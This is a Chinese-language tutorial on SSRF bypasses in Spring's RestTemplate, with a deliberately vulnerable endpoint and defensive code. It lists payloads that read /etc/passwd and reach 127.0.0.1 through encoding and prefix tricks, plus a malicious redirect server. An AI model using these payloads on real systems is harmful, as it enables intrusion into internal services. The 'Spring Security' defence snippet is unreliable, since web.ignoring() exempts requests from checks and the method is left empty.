spring 下的 SSRF 漏洞绕过分析以及成因
字数 1289 2025-08-30 06:50:35
Spring框架下的SSRF漏洞绕过分析与成因
前言
SSRF(Server-Side Request Forgery)服务端请求伪造是一种常见的安全漏洞,攻击者能够利用服务器发起未经授权的内部请求。在Spring框架中,由于其对URL处理的特殊机制,存在一些独特的SSRF绕过技术。
环境搭建
为了分析Spring中的SSRF漏洞,需要搭建以下环境:
- Spring Boot 2.x或更高版本
- Java 8+
- 测试用的Web应用程序
- 网络监控工具(Wireshark、Burp Suite等)
Spring的重定向机制
Spring框架在处理URL重定向时有其独特的行为,这是导致SSRF漏洞可利用的关键点:
- Spring的
RestTemplate和WebClient等HTTP客户端组件 - URL解析与标准Java
URL类的差异 - 重定向处理逻辑的特殊性
漏洞复现
基本SSRF示例
@GetMapping("/ssrf")
public String ssrf(@RequestParam String url) {
RestTemplate restTemplate = new RestTemplate();
return restTemplate.getForObject(url, String.class);
}
这个简单的端点直接使用用户提供的URL发起请求,存在明显的SSRF风险。
漏洞分析
Spring与标准Java URL解析的差异
Spring框架的URL处理与标准Java URL类存在关键差异:
-
协议处理:
- Java
URL类严格遵循RFC规范 - Spring允许更宽松的协议处理
- Java
-
特殊字符处理:
- Spring对某些特殊字符(如
\,{,})有特殊处理 - 可能导致URL解析绕过
- Spring对某些特殊字符(如
-
重定向处理:
- Spring自动跟随重定向
- 重定向目标可能被精心构造以绕过防护
绕过技术详解
1. 协议混淆绕过
GET /ssrf?url=file:///etc/passwd HTTP/1.1
防御绕过变种:
GET /ssrf?url=FiLe:///etc/passwd HTTP/1.1
GET /ssrf?url=\file:///etc/passwd HTTP/1.1
GET /ssrf?url=file:/etc/passwd HTTP/1.1
2. 重定向链绕过
攻击者可以构造一个重定向链:
- 合法域名指向恶意服务器
- 恶意服务器返回重定向到内部服务
// 恶意服务器代码
@GetMapping("/redirect")
public ResponseEntity<Void> redirect() {
return ResponseEntity.status(HttpStatus.FOUND)
.location(URI.create("http://127.0.0.1:8080/secret"))
.build();
}
3. URL编码绕过
GET /ssrf?url=http://%31%32%37%2e%30%2e%30%2e%31:8080/ HTTP/1.1
解码后实际访问http://127.0.0.1:8080/
4. 特殊前缀绕过
GET /ssrf?url=////127.0.0.1:8080/ HTTP/1.1
GET /ssrf?url=http://user:pass@127.0.0.1:8080/ HTTP/1.1
5. DNS重绑定攻击
- 攻击者控制一个域名,TTL设置很短
- 第一次解析返回合法IP
- 第二次解析返回内部IP
调试分析
关键类分析
-
org.springframework.web.client.RestTemplatedoExecute()方法处理实际请求handleResponse()处理响应和重定向
-
java.net.URL- Spring使用自定义的URI/URL处理逻辑
- 与标准Java实现存在差异
重定向处理流程
- 客户端发起初始请求
- 服务器返回3xx重定向响应
- Spring自动提取
Location头 - 对重定向URL进行解析
- 发起新的请求到重定向目标
防御措施
1. 输入验证
private boolean isValidUrl(String url) {
try {
URI uri = new URI(url);
String host = uri.getHost();
// 检查协议
if (!"https".equalsIgnoreCase(uri.getScheme())) {
return false;
}
// 检查域名
if (!host.endsWith(".example.com")) {
return false;
}
// 检查IP地址
if (isInternalIp(host)) {
return false;
}
return true;
} catch (URISyntaxException e) {
return false;
}
}
2. 使用白名单
private static final Set<String> ALLOWED_DOMAINS = Set.of(
"api.example.com",
"cdn.example.com"
);
private boolean isAllowedDomain(String url) {
try {
String host = new URI(url).getHost();
return ALLOWED_DOMAINS.contains(host);
} catch (URISyntaxException e) {
return false;
}
}
3. 禁用重定向
RestTemplate restTemplate = new RestTemplate();
restTemplate.setRequestFactory(new HttpComponentsClientHttpRequestFactory());
HttpClient client = HttpClientBuilder.create()
.disableRedirectHandling()
.build();
((HttpComponentsClientHttpRequestFactory) restTemplate.getRequestFactory())
.setHttpClient(client);
4. 使用Spring Security
@Bean
public WebSecurityCustomizer webSecurityCustomizer() {
return (web) -> web.ignoring()
.requestMatchers(this::isSafeUrl);
}
private boolean isSafeUrl(HttpServletRequest request) {
// 实现URL安全检查逻辑
}
总结
Spring框架中的SSRF漏洞主要源于:
- URL解析与标准Java实现的差异
- 自动重定向机制
- 宽松的协议和特殊字符处理
防御SSRF需要多层防护:
- 严格的输入验证
- 白名单机制
- 禁用不必要的重定向
- 使用安全组件进行防护
开发者应当充分了解Spring框架的URL处理机制,避免直接使用用户提供的URL发起请求,同时实施深度防御策略来缓解SSRF风险。